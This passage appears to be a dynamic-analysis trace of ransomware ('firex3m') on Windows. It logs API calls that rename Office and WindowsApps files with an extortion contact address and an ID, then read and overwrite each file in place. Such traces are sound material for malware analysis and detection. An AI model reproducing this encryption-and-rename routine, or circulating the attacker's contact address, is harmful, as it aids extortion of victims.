lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0245.934] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\vblr6.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBLR6.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\vblr6.chm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0245.935] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0245.935] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBLR6.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe230b, dwReserved0=0x6e006f, dwReserved1=0x610074, cFileName="VBLR6.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VBLR6C~1.FIR")) returned 0x6d4f40 [0245.935] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0245.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBLR6.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\vblr6.chm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0245.936] GetProcessHeap () returned 0x630000 [0245.936] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x749c598 [0245.936] GetProcessHeap () returned 0x630000 [0245.936] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72d3518 [0245.936] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.936] ReadFile (in: hFile=0x4bc, lpBuffer=0x749c598, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x749c598*, lpNumberOfBytesRead=0x357ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0253.607] GetProcessHeap () returned 0x630000 [0253.607] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0253.607] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.607] WriteFile (in: hFile=0x4bc, lpBuffer=0x72d3518*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d3518*, lpNumberOfBytesWritten=0x357ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0253.607] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.607] WriteFile (in: hFile=0x4bc, lpBuffer=0x72de917*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72de917*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0253.609] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.610] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0253.610] CloseHandle (hObject=0x4bc) returned 1 [0253.610] GetProcessHeap () returned 0x630000 [0253.610] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72d3518 | out: hHeap=0x630000) returned 1 [0253.610] GetProcessHeap () returned 0x630000 [0253.610] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x749c598 | out: hHeap=0x630000) returned 1 [0253.610] GetProcessHeap () returned 0x630000 [0253.610] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0254.426] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.426] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBLR6.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5d1be65f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xe232f, dwReserved0=0xc787496, dwReserved1=0x749c590, cFileName="VBLR6.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VBLR6C~1.FIR")) returned 0x6d51c0 [0254.426] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0254.426] Sleep (dwMilliseconds=0x1) [0254.434] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_BadgeLogo.scale-100.png", len=0x92 | out: pbstr=0x357ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_BadgeLogo.scale-100.png") returned 1 [0254.434] GetProcessHeap () returned 0x630000 [0254.434] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e38) returned 0x6fe3bb0 [0254.434] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_BadgeLogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apptiles\\weather_badgelogo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.453] Sleep (dwMilliseconds=0x1) [0254.469] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Sports.exe", len=0x67 | out: pbstr=0x357ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Sports.exe") returned 1 [0254.469] GetProcessHeap () returned 0x630000 [0254.469] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dd4) returned 0x6fe3bb0 [0254.469] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Sports.exe" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.sports.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.162] Sleep (dwMilliseconds=0x1) [0261.070] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_SplashScreen.scale-200.png", len=0x91 | out: pbstr=0x357ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_SplashScreen.scale-200.png") returned 1 [0261.070] GetProcessHeap () returned 0x630000 [0261.070] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cd4) returned 0x6fe3bb0 [0261.070] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_SplashScreen.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_splashscreen.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.072] Sleep (dwMilliseconds=0x1) [0261.080] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-16.png", len=0x92 | out: pbstr=0x357ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-16.png") returned 1 [0261.080] GetProcessHeap () returned 0x630000 [0261.080] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cc0) returned 0x6fe3bb0 [0261.080] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_logosmall.targetsize-16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.082] Sleep (dwMilliseconds=0x1) [0261.108] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\ECHO.INF", len=0x68 | out: pbstr=0x357ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\ECHO.INF") returned 1 [0261.108] GetProcessHeap () returned 0x630000 [0261.108] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c9c) returned 0x6fe3bb0 [0261.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\echo\\echo.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0261.109] CloseHandle (hObject=0x6c0) returned 1 [0261.109] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0261.109] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\echo\\echo.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\ECHO.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\echo\\echo.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0261.110] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.110] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\ECHO.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="ECHO.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ECHOIN~1.FIR")) returned 0x6d51c0 [0261.110] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0261.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\ECHO.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\echo\\echo.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0261.110] GetProcessHeap () returned 0x630000 [0261.110] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x201) returned 0x6d00b0 [0261.111] GetProcessHeap () returned 0x630000 [0261.111] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x201) returned 0x6d2558 [0261.111] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.111] ReadFile (in: hFile=0x6c0, lpBuffer=0x6d00b0, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d00b0*, lpNumberOfBytesRead=0x357ff0c*=0x1e0, lpOverlapped=0x0) returned 1 [0261.113] GetProcessHeap () returned 0x630000 [0261.113] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0261.113] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.113] WriteFile (in: hFile=0x6c0, lpBuffer=0x6d2558*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d2558*, lpNumberOfBytesWritten=0x357ff0c*=0x1e0, lpOverlapped=0x0) returned 1 [0261.114] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.114] WriteFile (in: hFile=0x6c0, lpBuffer=0x6d2737*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d2737*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0261.134] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.134] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0261.134] CloseHandle (hObject=0x6c0) returned 1 [0261.135] GetProcessHeap () returned 0x630000 [0261.135] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d2558 | out: hHeap=0x630000) returned 1 [0261.135] GetProcessHeap () returned 0x630000 [0261.135] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d00b0 | out: hHeap=0x630000) returned 1 [0261.135] GetProcessHeap () returned 0x630000 [0261.135] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0261.135] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.135] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\ECHO.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6197dd86, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x357fd20, dwReserved1=0x6d00b0, cFileName="ECHO.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ECHOIN~1.FIR")) returned 0x6d51c0 [0261.135] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0261.135] Sleep (dwMilliseconds=0x1) [0261.201] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\CONCRETE.INF", len=0x70 | out: pbstr=0x357ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\CONCRETE.INF") returned 1 [0261.201] GetProcessHeap () returned 0x630000 [0261.201] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c7c) returned 0x6fe3bb0 [0261.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\concrete\\concrete.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0261.302] CloseHandle (hObject=0x6a4) returned 1 [0261.302] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0261.303] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\concrete\\concrete.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\CONCRETE.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\concrete\\concrete.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0261.322] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.323] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\CONCRETE.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="CONCRETE.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CONCRE~1.FIR")) returned 0x6d5440 [0261.323] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0261.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\CONCRETE.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\concrete\\concrete.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0261.323] GetProcessHeap () returned 0x630000 [0261.323] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x201) returned 0x6d0728 [0261.323] GetProcessHeap () returned 0x630000 [0261.323] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x201) returned 0x6d2558 [0261.323] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.323] ReadFile (in: hFile=0x6a4, lpBuffer=0x6d0728, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d0728*, lpNumberOfBytesRead=0x357ff0c*=0x1e0, lpOverlapped=0x0) returned 1 [0261.326] GetProcessHeap () returned 0x630000 [0261.326] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0261.326] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.326] WriteFile (in: hFile=0x6a4, lpBuffer=0x6d2558*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d2558*, lpNumberOfBytesWritten=0x357ff0c*=0x1e0, lpOverlapped=0x0) returned 1 [0261.326] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.326] WriteFile (in: hFile=0x6a4, lpBuffer=0x6d2737*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d2737*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0261.333] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.333] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0261.333] CloseHandle (hObject=0x6a4) returned 1 [0261.333] GetProcessHeap () returned 0x630000 [0261.333] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d2558 | out: hHeap=0x630000) returned 1 [0261.333] GetProcessHeap () returned 0x630000 [0261.333] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d0728 | out: hHeap=0x630000) returned 1 [0261.333] GetProcessHeap () returned 0x630000 [0261.333] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0261.333] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.333] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\CONCRETE.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b6dbc3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x204, dwReserved0=0x357fd20, dwReserved1=0x6d0728, cFileName="CONCRETE.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CONCRE~1.FIR")) returned 0x6d4f40 [0261.333] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0261.333] Sleep (dwMilliseconds=0x1) [0261.373] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Weather.Tile.winmd", len=0x70 | out: pbstr=0x357ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Weather.Tile.winmd") returned 1 [0261.373] GetProcessHeap () returned 0x630000 [0261.373] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e7c) returned 0x6fe3bb0 [0261.373] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Weather.Tile.winmd" (normalized: "c:\\program 